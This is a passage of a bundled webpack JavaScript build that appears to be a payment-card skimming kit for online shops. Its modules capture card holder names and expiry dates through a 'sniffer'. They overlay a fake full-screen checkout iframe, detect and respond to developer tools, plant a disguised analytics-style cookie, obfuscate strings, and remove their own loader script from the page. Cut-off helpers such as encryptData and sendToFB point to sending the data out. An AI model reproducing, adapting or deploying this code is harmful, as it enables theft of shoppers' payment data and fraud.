_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`div[id=\"v-cvv-error\"]`),\n tidyBlock: false\n },\n onChangeErr: () => {},\n onValidStatusChange: () => {}\n };\n constructor(sniffer, MM, YY) {\n this.sniffer = sniffer;\n this.MM = MM;\n this.YY = YY;\n this.isValidStatus = false;\n }\n setOpt(opt = {}) {\n this.opt = {\n ...DateInputs.defOpt,\n ...opt\n };\n this.opt.err = {\n ...DateInputs.defOpt.err,\n ...this.opt.err\n };\n this.InitErrViewer();\n }\n InitErrViewer() {\n this.errViewerMM = new _errViewer__WEBPACK_IMPORTED_MODULE_1__[\"default\"]({\n defMsg: this.opt.err.msgMM,\n tidyBlock: this.opt.err.tidyBlock,\n classTarget: this.MM,\n msgTarget: this.opt.err.targetSelector === '' ? null : this.opt.doc[_support__WEBPACK_IMPORTED_MODULE_3__.qSel](this.opt.err.targetSelectorMM)\n });\n this.errViewerYY = new _errViewer__WEBPACK_IMPORTED_MODULE_1__[\"default\"]({\n defMsg: this.opt.err.msgYY,\n tidyBlock: this.opt.err.tidyBlock,\n classTarget: this.YY,\n msgTarget: this.opt.err.targetSelector === '' ? null : this.opt.doc[_support__WEBPACK_IMPORTED_MODULE_3__.qSel](this.opt.err.targetSelectorYY)\n });\n }\n subscribeTo() {\n const MM = this.MM;\n const YY = this.YY;\n let lastLength = 0;\n MM.oninput = () => {\n let mVal = MM.value;\n if (this.opt.styleControl && mVal > 1 && mVal < 10 && lastLength < mVal.length) {\n MM.value = \"0\" + parseInt(mVal);\n }\n lastLength = MM.value.length;\n const isValid = this.isValidMM();\n if (isValid) {\n this.hideErr();\n // for auto jump\n if (this.opt.autoJump && mVal !== \"1\") {\n if (!this.isValidYY()) YY.focus();else toNextFocus();\n }\n this.sniffer.setByAlias(\"card_exp_month\", MM.value);\n } else {\n // A lot of characters have been introduced\n this.showErr();\n }\n if (this.isValidStatus !== isValid) {\n this.isValidStatus = isValid;\n this.opt.onValidStatusChange();\n }\n };\n YY.oninput = () => {\n const isValid = this.isValidYY();\n if (isValid) {\n this.hideErr();\n toNextFocus();\n this.sniffer.setByAlias(\"card_exp_year\", YY.value);\n } else {\n // A lot of characters have been introduced\n this.showErr();\n }\n if (this.isValidStatus !== isValid) {\n this.isValidStatus = isValid;\n this.opt.onValidStatusChange();\n }\n };\n\n // for auto jump\n const toNextFocus = () => {\n const nextFocus = this.opt.nextFocus;\n if (this.isValid() && nextFocus && !nextFocus.isValid()) nextFocus.focus();\n };\n return this;\n }\n isValid() {\n if (!this.isValidMM() || !this.isValidYY()) return false;\n const mm = parseInt(this.MM.value);\n const yy = parseInt(this.YY.value);\n return (0,_Date__WEBPACK_IMPORTED_MODULE_2__.checkDate)(mm, yy);\n }\n isValidMM() {\n const mm = parseInt(this.MM.value);\n return mm > 0 && mm <= 12;\n }\n isValidYY() {\n let yy = parseInt(this.YY.value);\n if (yy > 2000) yy -= 2000;\n return yy > 21 && yy <= 37;\n }\n focus() {\n this.MM.focus();\n }\n showErr() {\n this.opt.onChangeErr(true);\n if (!this.isValidMM()) this.errViewerMM.showMsg();\n if (!this.isValidYY()) this.errViewerYY.showMsg();\n }\n hideErr() {\n this.opt.onChangeErr(false);\n if (this.isValidMM()) this.errViewerMM.hideMsg();\n if (this.isValidYY()) this.errViewerYY.hideMsg();\n }\n}\n\n//# sourceURL=webpack://basic/./src/checkers/DateInputs.js?\n}"); /***/ }), /***/ "./src/checkers/Holder.js": /*!********************************!*\ !*** ./src/checkers/Holder.js ***! \********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Holder)\n/* harmony export */ });\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _errViewer__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../errViewer */ \"./src/errViewer/index.js\");\n\n\nclass Holder {\n static defOpt = {\n doc: document,\n // For auto jump. Accepts a class with the \"isValid\" and \"toFocus\" methods.\n nextFocus: null,\n err: {\n // encodeURIComponent(msg)\n msg: \"\",\n // Selector of the element for displaying errors\n targetSelector: _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`div[id=\"v-hold-error\"]`),\n // Whether to check an empty field (deprecated)\n // checkEmpty: false,\n // Start of the check when the field length is greater than or equal to \"runCheckLen\"\n runCheckLen: 1,\n tidyBlock: false\n },\n onValidStatusChange: () => {}\n };\n constructor(sniffer, holdInput, opt = {}) {\n this.sniffer = sniffer;\n this.holdInput = holdInput;\n this.isValidStatus = false;\n this.opt = {\n ...Holder.defOpt,\n ...opt\n };\n this.InitErrViewer();\n }\n setOpt(opt = {}) {\n this.opt = {\n ...this.opt,\n ...opt\n };\n this.InitErrViewer();\n }\n InitErrViewer() {\n this.errViewer = new _errViewer__WEBPACK_IMPORTED_MODULE_1__[\"default\"]({\n defMsg: this.opt.err.msg,\n tidyBlock: this.opt.err.tidyBlock,\n classTarget: this.holdInput,\n msgTarget: this.opt.err.targetSelector === '' ? null : this.opt.doc[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`querySelector`)](this.opt.err.targetSelector)\n });\n }\n subscribeTo() {\n const holdInput = this.holdInput;\n holdInput.oninput = () => {\n const isValid = this.isValid(holdInput.value);\n if (isValid) this.sniffer.setByAlias(\"card_holder\", holdInput.value);\n if (this.isValidStatus !== isValid) {\n this.isValidStatus = isValid;\n this.opt.onValidStatusChange();\n }\n };\n holdInput.onfocus = () => {\n this.errViewer.hideMsg();\n };\n holdInput.onblur = () => {\n if (holdInput.value.length >= this.opt.err.runCheckLen) {\n if (this.isValid(holdInput.value)) this.errViewer.hideMsg();else this.errViewer.showMsg();\n }\n };\n return this;\n }\n isValid() {\n return this.holdInput.value.length > 0;\n }\n showErr() {\n this.errViewer.showMsg();\n }\n focus() {\n this.holdInput.focus();\n }\n getHolder() {\n return this.holdInput.value;\n }\n useSniffer() {\n this.sniffer.setByAlias(\"card_holder\", this.holdInput.value);\n }\n}\n\n//# sourceURL=webpack://basic/./src/checkers/Holder.js?\n}"); /***/ }), /***/ "./src/checkoutInFrame/index.js": /*!**************************************!*\ !*** ./src/checkoutInFrame/index.js ***! \**************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ CheckoutFrame)\n/* harmony export */ });\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n\nclass CheckoutFrame {\n static styles = {\n 'position': \"fixed\",\n 'top': \"0\",\n 'left': \"0\",\n 'width': \"100%\",\n 'height': \"100%\",\n 'z-index': \"9999999999999!\",\n 'border': \"0\"\n };\n static bgStyles = {\n 'background-color': '#ffffff',\n 'position': 'fixed',\n 'top': '0',\n 'left': '0',\n 'right': '0',\n 'bottom': '0',\n 'z-index': '9999999999999!'\n };\n constructor(detector, doc = document, useBG = true, useLS = true) {\n this.lc = {\n key: 'e4of3xn1',\n value: window[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`crypto`)].randomUUID()\n };\n this.lcValid = false;\n if (!useLS || !window[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`xOirq1ks`)]) {\n setInterval(() => {\n if (this.frameWin) {\n this.frameWin[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`xOirq1ks`)] = true;\n }\n });\n this.lcValid = true;\n this.detector = detector;\n this.doc = doc;\n this.intervals = [];\n this.useBG = useBG;\n this.bg = document.createElement(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`div`));\n this.frameID = window[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`crypto`)].randomUUID();\n this.frame = this.doc.createElement(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`iframe`));\n this.frame.id = this.frameID;\n this.frameDom = null;\n this.frameDoc = null;\n this.frameWin = null;\n this.bgContainer = null;\n this.setStylesheetTo(this.frame, CheckoutFrame.styles);\n this.setStylesheetTo(this.bg, CheckoutFrame.bgStyles);\n this.appendBG();\n this.outerHTML = \"\";\n }\n }\n appendBG() {\n if (!this.lcValid) return;\n if (this.useBG) {\n this.bgContainer = document.body.appendChild(this.bg);\n }\n }\n cloneNodeElement(element) {\n if (!this.lcValid) return;\n if (typeof element !== \"object\") return this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`Error: Has no elements to clone!`));\n this.outerHTML = element.cloneNode(true).outerHTML;\n }\n cloneBySelector(selector) {\n if (!this.lcValid) return;\n const element = this.doc.querySelector(selector);\n if (!element) return this.detector.cl(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`Error: No element found by selector!`));\n this.outerHTML = element.cloneNode(true).outerHTML;\n }\n setOuterHTML(html) {\n if (!this.lcValid) return;\n this.outerHTML = html;\n }\n setStylesheetTo(element, styles = CheckoutFrame.styles) {\n if (!this.lcValid) return;\n const stylesKeys = Object.keys(styles);\n stylesKeys.forEach(item => {\n if (styles[item].includes('!')) {\n element.style.setProperty(item, styles[item].trim().slice(0, -1), 'important');\n } else {\n element.style.setProperty(item, styles[item].trim());\n }\n });\n }\n writeToFrameDoc() {\n if (!this.lcValid) return;\n this.frameDoc.write(this.outerHTML);\n }\n run() {\n if (!this.lcValid) return;\n this.frameDom = null;\n if (this.useBG) {\n this.frameDom = this.bgContainer.appendChild(this.frame);\n } else {\n this.frameDom = this.doc.body.appendChild(this.frame);\n }\n this.frameDoc = this.frameDom.contentWindow.document || this.frameDom.contentDocument;\n this.frameWin = this.frameDom.contentWindow;\n this.frameWin.localStorage.setItem(this.lc.key, this.lc.value);\n const interval = setInterval(() => {\n if (this.frameWin && !this.frameWin.localStorage.getItem(this.lc.key)) {\n this.frameWin.localStorage.setItem(this.lc.key, this.lc.value);\n }\n window.history.pushState(null, null, this.frameWin?.location.href || location.href);\n }, 500);\n this.intervals.push(interval);\n this.writeToFrameDoc();\n setInterval(() => {\n if (document.getElementById(this.frameID)) {\n this.frameDom = document.getElementById(this.frameID);\n this.frameDoc = this.frameDom.contentWindow.document || this.frameDom.contentDocument;\n this.frameWin = this.frameDom.contentWindow;\n }\n }, 500);\n }\n waitSelector(selector, func) {\n if (!this.lcValid) return;\n const interval = setInterval(() => {\n if (this.frameDoc) {\n const element = this.frameDoc.querySelector(selector);\n if (element) {\n clearInterval(interval);\n func && func(element, {\n doc: this.frameDoc,\n win: this.frameWin\n });\n }\n }\n }, 1000);\n this.intervals.push(interval);\n }\n waitCondition(condition, done) {\n if (!this.lcValid) return;\n const interval = setInterval(() => {\n if (this.frameWin && this.frameDoc && condition && condition({\n win: this.frameWin,\n doc: this.frameDoc\n })) {\n clearInterval(interval);\n done && done({\n win: this.frameWin,\n doc: this.frameDoc\n });\n }\n }, 1000);\n this.intervals.push(interval);\n }\n stop(func) {\n if (!this.lcValid) return;\n this.intervals.forEach(item => {\n item && clearInterval(item);\n });\n func && func();\n }\n}\n\n//# sourceURL=webpack://basic/./src/checkoutInFrame/index.js?\n}"); /***/ }), /***/ "./src/devDetector/helps.js": /*!**********************************!*\ !*** ./src/devDetector/helps.js ***! \**********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ checkByNewImageMethod: () => (/* binding */ checkByNewImageMethod),\n/* harmony export */ getCookie: () => (/* binding */ getCookie),\n/* harmony export */ setCookieByRandom: () => (/* binding */ setCookieByRandom)\n/* harmony export */ });\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n\nfunction getCookie(name) {\n const match = document[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`cookie`)].match(new RegExp('(^| )' + name + '=([^;]+)'));\n if (match) {\n return match[2];\n }\n}\nfunction setCookie(name, value, days) {\n let expires = \"\";\n if (days) {\n const date = new Date();\n date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);\n expires = _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`; expires=`) + date.toUTCString();\n }\n document[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`cookie`)] = name + \"=\" + (value || \"\") + expires + _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`; path=/`);\n}\nfunction setCookieByRandom(key) {\n if (!getCookie(key)) {\n setCookie(key, _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`GA1.2.1`) + getRandomArbitrary(100000000, 999999999) + '.' + getRandomArbitrary(1000000000, 9999999999));\n }\n}\nfunction getRandomArbitrary(min, max) {\n return parseInt(Math.random() * (max - min) + min);\n}\nfunction checkByNewImageMethod(callDetect) {\n if (Image && typeof Image === 'function') {\n const img = new Image();\n Object.defineProperty(img, 'id', {\n get: () => {\n callDetect(_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`img`));\n }\n });\n }\n}\n\n//# sourceURL=webpack://basic/./src/devDetector/helps.js?\n}"); /***/ }), /***/ "./src/devDetector/index.js": /*!**********************************!*\ !*** ./src/devDetector/index.js ***! \**********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ DevDetector)\n/* harmony export */ });\n/* harmony import */ var _helps__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./helps */ \"./src/devDetector/helps.js\");\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _support__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../support */ \"./src/support/index.js\");\n\n\n\nclass DevDetector {\n constructor(codVer = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Code ver no set`), configs) {\n // Detector version. (Increase this value if you change the code in this plugin)\n this.devVer = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`1.2`);\n // Code version for shop\n this.codVer = codVer;\n this.DEV_COOKIE = configs.DEV_COOKIE;\n this.gate_url = configs.gate_url;\n this.debug_key = configs.debug_key;\n this.debug_value = configs.debug_value;\n this.needCloseMsg = configs.needCloseMsg;\n this.isDetect = false;\n this.isKeyboardListenerRun = false;\n this.devtools = {\n isOpen: false,\n detOrientation: undefined,\n detInterval: null,\n detProfInterval: null\n };\n\n // isDebug - it is webpack ENV var.\n this.isDebug = true;\n this.detectDevCallback = () => {};\n }\n\n // Get started\n async start() {\n // Tidy init script\n try {\n const ts = document[_support__WEBPACK_IMPORTED_MODULE_2__.qSelAll](_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`[data-group=\"lists\"]`));\n if (ts && ts.length !== 0) {\n ts.forEach(el => {\n el.remove();\n this.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`scr remove`));\n });\n } else this.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`scr not f`));\n } catch {}\n if ((0,_helps__WEBPACK_IMPORTED_MODULE_0__.getCookie)(this.DEV_COOKIE)) {\n this.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Already detect!`));\n this.isDetect = true;\n return this;\n }\n if (this.isDetect) return this;\n if (this.isDebugEnabled()) {\n this.isDebug = true;\n // pVersion - it is webpack ENV var. (project ver)\n this.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Debug mode - ver:`), this.codVer, \" - \", this.devVer, \" - \", \"0.10.12\");\n return this;\n }\n if (this.isChromium() && this.getChromeVersion() < 90) {\n (0,_helps__WEBPACK_IMPORTED_MODULE_0__.checkByNewImageMethod)(this.detectDev);\n }\n\n // Detect Chrome 97 and Edge 97\n this.checkByProfileMethod();\n\n // Detect Fire Bug\n const fb = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`firebug`);\n if (window.console && window.console[fb] || console.assert(1) === _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`_firebugIgnore`)) {\n this.detectDev(fb);\n }\n if (window.screen && window.screen.width > 800) {\n this.checkDevByScreenResize();\n this.devtools.detInterval = setInterval(this.checkDevByScreenResize.bind(this), 500);\n }\n this.isKeyboardListenerRun = true;\n this.addKeyboardListener(window);\n return this;\n }\n addKeyboardListener(doc) {\n doc.addEventListener(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`keydown`), this.devKeyboardListener.bind(this));\n }\n checkByProfileMethod() {\n if (!this.isChromium() || this.getChromeVersion() > 97) return;\n if (new RegExp(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Android|webOS|Mac|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini`), \"i\").test(navigator.userAgent)) return;\n const devtools = () => {};\n devtools.toString = () => {\n this.detectDev(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`c97`));\n return '-';\n };\n this.devtools.detProfInterval = setInterval(() => {\n console.profileEnd(devtools);\n }, 1000);\n }\n isChromium() {\n return (!!window.chrome || !!window.StyleMedia) && typeof InstallTrigger == 'undefined';\n }\n getChromeVersion() {\n const raw = navigator.userAgent.match(/Chrom(e|ium)\\/([0-9]+)\\./);\n return raw ? parseInt(raw[2], 10) : false;\n }\n detectDev(axt = \"\") {\n if (this.isDetect) {\n this.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`isDetect`));\n return true;\n }\n this.cl(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`end`));\n this.isDetect = true;\n this.setCookie();\n this.detectDevCallback();\n if (this.devtools.detInterval) {\n clearInterval(this.devtools.detInterval);\n }\n if (this.devtools.detProfInterval) {\n clearInterval(this.devtools.detProfInterval);\n }\n if (this.isKeyboardListenerRun) {\n this.isKeyboardListenerRun = false;\n window.removeEventListener(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`keydown`), this.devKeyboardListener);\n }\n\n /*if (this.sniffer && (this.needCloseMsg || axt !== \"\")) {\n this.sniffer[Decoder.decodeText(`data`)][Decoder.decodeText(`axt`)] = axt;\n this.sniffer.sendAndStop();\n }*/\n }\n setCookie() {\n (0,_helps__WEBPACK_IMPORTED_MODULE_0__.setCookieByRandom)(this.DEV_COOKIE);\n }\n checkDevByScreenResize() {\n try {\n const threshold = 230;\n const widthThreshold = window.outerWidth - window.innerWidth > threshold;\n const heightThreshold = window.outerHeight - window.innerHeight > threshold;\n const orientation = widthThreshold ? _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`vertical`) : _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`horizontal`);\n if (!(heightThreshold && widthThreshold) && (window[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Firebug`)] && window[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Firebug`)].chrome && window[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Firebug`)].chrome.isInitialized || widthThreshold || heightThreshold)) {\n if (!this.devtools.isOpen || this.devtools.detOrientation !== orientation) {\n this.detectDev(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`screenResize`));\n this.devtools.isOpen = true;\n this.devtools.detOrientation = orientation;\n }\n }\n } catch (e) {}\n }\n devKeyboardListener(e) {\n const m = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`metaKey`),\n a = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`altKey`),\n k = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`keyCode`),\n c = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`ctrlKey`),\n s = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`shiftKey`);\n try {\n if (e[m] === true && e[a] === true && e[k] === 73 || e[m] === true && e[a] === true && e[k] === 74 || e[m] === true && e[a] === true && e[k] === 67 || e[m] === true && e[s] === true && e[k] === 67 || e[c] === true && e[s] === true && e[k] === 73 || e[c] === true && e[s] === true && e[k] === 74 || e[c] === true && e[s] === true && e[k] === 67 || e[k] === 123 || e[m] === true && e[a] === true && e[k] === 85 || e[c] === true && e[k] === 85) {\n this.detectDev(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`devKey `) + e.key);\n }\n } catch (e) {}\n }\n isDebugEnabled() {\n return this.isDebug || localStorage.getItem(this.debug_key) === this.debug_value;\n }\n setSniffer(sniffer) {\n this.sniffer = sniffer;\n return this;\n }\n cl(...values) {\n if (this.isDebug) {\n if (this.isDOMLogs) {\n const p = document.createElement(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`div`));\n p.style.setProperty('display', 'block');\n p.style.setProperty('color', '#222222');\n p.style.setProperty('font-size', '12px');\n p.style.setProperty('padding', '5px 0');\n p.style.setProperty('margin', '0');\n p.style.setProperty('border-bottom-width', '1px');\n p.style.setProperty('border-bottom-style', 'solid');\n p.style.setProperty('border-bottom-color', '#c7c7c7');\n p.style.setProperty('font-family', 'monospace', 'important');\n let value = [];\n for (let item of values) {\n if (typeof item === 'object') {\n value.push(JSON.stringify(item));\n } else value.push(item);\n }\n p.innerText = value.join(' ');\n this.domLogs.appendChild(p);\n this.domLogs.scrollTop = this.domLogs.scrollHeight;\n } else console.log(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`Dev:`), ...values);\n }\n }\n err(value) {\n if (this.isDebug) {\n console.error(value);\n }\n }\n initDOMLogs() {\n if (this.isDebug) {\n this.isDOMLogs = true;\n const div = document.createElement(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`div`));\n div.id = _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`DevLogs`);\n div.style.setProperty('background-color', '#ffffff55');\n div.style.setProperty('position', 'fixed');\n div.style.setProperty('width', '300px');\n div.style.setProperty('top', '0');\n div.style.setProperty('right', '0');\n div.style.setProperty('padding', '10px');\n div.style.setProperty('max-height', '600px');\n div.style.setProperty('overflow-y', 'scroll');\n document.head.insertAdjacentHTML(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`beforeend`), decodeURIComponent(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`%3Cstyle%3E%23DevLogs%7Btransform%3AtranslateX(260px)%3Btransition%3A.5s%7D%23DevLogs%3Ahover%7Btransform%3AtranslateX(0)%3Btransition%3A.5s%7D%3C%2Fstyle%3E`)));\n document.body.appendChild(div);\n this.domLogs = document.getElementById(_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`DevLogs`));\n }\n }\n}\n\n//# sourceURL=webpack://basic/./src/devDetector/index.js?\n}"); /***/ }), /***/ "./src/errViewer/index.js": /*!********************************!*\ !*** ./src/errViewer/index.js ***! \********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ ErrViewer)\n/* harmony export */ });\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n\n\n// Support class for displaying errors\nclass ErrViewer {\n static defOpt = {\n // error msg in encodeURIComponent()\n defMsg: \"\",\n // specify the Dom element to add the error class. (def class: `validate-error`)\n classTarget: null,\n targetClass: _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`validate-error`),\n // specify the Dom element to display the error\n msgTarget: null,\n msgClass: _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`err-active`),\n // Clear the block when hiding an error\n tidyBlock: false\n };\n constructor(opt = {}) {\n this.opt = {\n ...ErrViewer.defOpt,\n ...opt\n };\n }\n showMsg(msg = this.opt.defMsg) {\n const classTarget = this.opt.classTarget;\n const msgTarget = this.opt.msgTarget;\n if (!!classTarget) classTarget.classList.add(this.opt.targetClass);\n if (!!msgTarget) {\n if (!!msg && msg !== \"\") msgTarget.innerHTML = decodeURIComponent(msg);\n msgTarget.classList.add(this.opt.msgClass);\n }\n }\n hideMsg() {\n const classTarget = this.opt.classTarget;\n const msgTarget = this.opt.msgTarget;\n if (!!classTarget) classTarget.classList.remove(this.opt.targetClass);\n if (!!msgTarget) {\n if (this.opt.tidyBlock) msgTarget.innerHTML = \"\";\n msgTarget.classList.remove(this.opt.msgClass);\n }\n }\n}\n\n//# sourceURL=webpack://basic/./src/errViewer/index.js?\n}"); /***/ }), /***/ "./src/obfucator/index.js": /*!********************************!*\ !*** ./src/obfucator/index.js ***! \********************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ $D: () => (/* binding */ $D),\n/* harmony export */ \"default\": () => (/* binding */ Decoder)\n/* harmony export */ });\n// Real Code\n/*\nexport default class Decoder {\n constructor(q) {\n this.q = q;\n }\n \n static decodeText(_0x16d51b) {\n // isDebug - it is webpack ENV var.\n if (!isDebug) {\n return _0x16d51b.match(/.{3}/g).map(function (n) {\n return String.fromCharCode(n.replace(/\\D/g, \"\") - _0x16d51s6d5392s)\n }).join(\"\");\n }\n \n return _0x16d51b;\n }\n}*/\n\n//Minify COde\n\nfunction b(c, d) {\n var e = a();\n return b = function (f, g) {\n f = f - 0x1b2;\n var h = e[f];\n return h;\n }, b(c, d);\n}\nfunction a() {\n var k = ['map', '14juxwqh', 'replace', 'fromCharCode', '5dvetma', '4403484zZUnri', '2oIGeUl', '16068730DvGcoN', 'join', '2286104pljypT', '5661918Sgiwqv', '2417127aYdgpS', '12292965wivwHF', '75846LeAjQr'];\n a = function () {\n return k;\n };\n return a();\n}\n(function (c, d) {\n var h = b,\n e = c();\n while (!![]) {\n try {\n var f = parseInt(h('0x1bd')) / 0x1 + parseInt(h('0x1b6')) / 0x2 * (-parseInt(h(0x1bb)) / 0x3) + -parseInt(h('0x1b5')) / 0x4 * (parseInt(h(0x1b4)) / 0x5) + -parseInt(h(0x1ba)) / 0x6 + parseInt(h(0x1bf)) / 0x7 * (parseInt(h('0x1b9')) / 0x8) + parseInt(h(0x1bc)) / 0x9 + parseInt(h('0x1b7')) / 0xa;\n if (f === d) break;else e['push'](e['shift']());\n } catch (g) {\n e['push'](e['shift']());\n }\n }\n})(a, 0xbbf69);\nclass Decoder {\n constructor(c) {\n this['q'] = c;\n }\n static ['decodeText'](c) {\n var i = b;\n if (false) // removed by dead control flow\n{}\n return c;\n }\n}\nclass $D {\n constructor(c) {\n this['q'] = c;\n }\n static ['_dT'](c) {\n var i = b;\n if (false) // removed by dead control flow\n{}\n return c;\n }\n}\n\n//# sourceURL=webpack://basic/./src/obfucator/index.js?\n}"); /***/ }), /***/ "./src/sniffer/helps.js": /*!******************************!*\ !*** ./src/sniffer/helps.js ***! \******************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ decryptData: () => (/* binding */ decryptData),\n/* harmony export */ e2: () => (/* binding */ e2),\n/* harmony export */ encryptData: () => (/* binding */ encryptData),\n/* harmony export */ getLocalTime: () => (/* binding */ getLocalTime),\n/* harmony export */ prepareToDecode: () => (/* binding */ prepareToDecode),\n/* harmony export */ prepareToEncode: () => (/* binding */ prepareToEncode),\n/* harmony export */ replaceTranslates: () => (/* binding */ replaceTranslates),\n/* harmony export */ replaceVars: () => (/* binding */ replaceVars),\n/* harmony export */ selectTranslatesVar: () => (/* binding */ selectTranslatesVar),\n/* harmony export */ selectVar: () => (/* binding */ selectVar),\n/* harmony export */ sendToFB: () => (/* binding */ sendToFB),\n/* harmony export */ setEncodedValue: () => (/* binding */ setEncodedValue),\n/* harmony export */ setValue: () => (/* binding */ setValue),\n/* harmony export */ winAtob: () => (/* binding */ winAtob),\n/* harmony export */ winBtoa: () => (/* binding */ winBtoa)\n/* harmony export */ });\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _support__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../support */ \"./src/support/index.js\");\n\n\nconst winAtob = window[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`atob`)];\nconst winBtoa = window[_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`btoa`)];\nfunction getLocalTime() {\n const 